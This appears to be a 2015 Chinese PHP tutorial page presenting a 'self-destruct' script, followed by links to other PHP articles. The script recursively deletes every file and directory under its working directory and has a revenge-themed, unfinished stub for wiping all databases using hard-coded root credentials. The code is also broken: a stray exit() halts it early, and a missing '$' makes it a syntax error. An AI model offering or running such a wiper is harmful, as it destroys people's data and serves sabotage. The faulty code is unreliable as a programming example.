PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 PHP
php模拟ping命令(php exec函数的使用方法)
Oct 25 PHP
PHP Curl多线程原理实例详解
Nov 06 PHP
PHP实现扎金花游戏之大小比赛的方法
Mar 10 PHP
PHP下载远程图片并保存到本地方法总结
Jan 22 PHP
PHP+MySql+jQuery实现的&quot;顶&quot;和&quot;踩&quot;投票功能
May 21 PHP
php多线程并发实现方法
Sep 30 PHP
php 解决扫描二维码下载跳转问题
Jan 13 PHP
PHP基于自增数据如何生成不重复的随机数示例
May 19 PHP
PHP实现的激活用户注册验证邮箱功能示例
Jun 06 PHP
PHP设计模式之建造者模式定义与用法简单示例
Aug 13 PHP
零基础php编程好学吗
Oct 11 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
一个简单的php实现的MySQL数据浏览器
2007/03/11 PHP
PHP编程中的常见漏洞和代码实例
2014/08/06 PHP
smarty高级特性之对象的使用方法
2015/12/25 PHP
PHP中substr_count()函数获取子字符串出现次数的方法
2016/01/07 PHP
简单谈谈PHP中的include、include_once、require以及require_once语句
2016/04/23 PHP
php生成无限栏目树
2017/03/16 PHP
PHP异步进程助手async-helper
2018/02/05 PHP
用JavaScript 处理 URL 的两个函数代码
2007/08/13 Javascript
JavaScript 操作键盘的Enter事件(键盘任何事件),兼容多浏览器
2010/10/11 Javascript
Blocksit插件实现瀑布流数据无限( 异步)加载
2014/06/20 Javascript
JavaScript常用验证函数实例汇总
2014/11/25 Javascript
AngularJS优雅的自定义指令
2016/07/01 Javascript
JS实现图片剪裁并预览效果
2016/08/12 Javascript
利用纯js + transition动画实现移动端web轮播图详解
2017/09/10 Javascript
jQuery实现点击DIV同时点击CheckBox,并为DIV上背景色的实例
2017/12/18 jQuery
vuejs使用axios异步访问时用get和post的实例讲解
2018/08/09 Javascript
微信小程序实现提交input信息到后台的方法示例
2019/01/19 Javascript
JS实现数组去重及数组内对象去重功能示例
2019/02/02 Javascript
Weex开发之WEEX-EROS开发踩坑(小结)
2019/10/16 Javascript
[05:13]2018DOTA2亚洲邀请赛主赛事第二日战况回顾 LGD、VG双雄携手晋级
2018/04/05 DOTA
python写日志封装类实例
2015/06/28 Python
python执行CMD指令,并获取返回的方法
2018/12/19 Python
python实现全盘扫描搜索功能的方法
2019/02/14 Python
在python 中split()使用多符号分割的例子
2019/07/15 Python
如何在Django项目中引入静态文件
2019/07/26 Python
python树的同构学习笔记
2019/09/14 Python
css3旋转木马_动力节点Java学院整理
2017/07/12 HTML / CSS
香港卓悦化妆品官网:BONJOUR
2017/09/21 全球购物
照片礼物和装饰:MyPhoto
2019/11/02 全球购物
如果让你测试一台高速激光打印机,你都会进行哪些测试
2012/12/04 面试题
环境工程求职简历的自我评价范文
2013/10/24 职场文书
应届毕业生通用的自荐书范文
2014/02/07 职场文书
聚美优品恶搞广告词
2014/03/14 职场文书
倡议书格式
2014/04/14 职场文书
教师节寄语2015
2015/03/23 职场文书
Hive常用日期格式转换语法
2022/06/25 数据库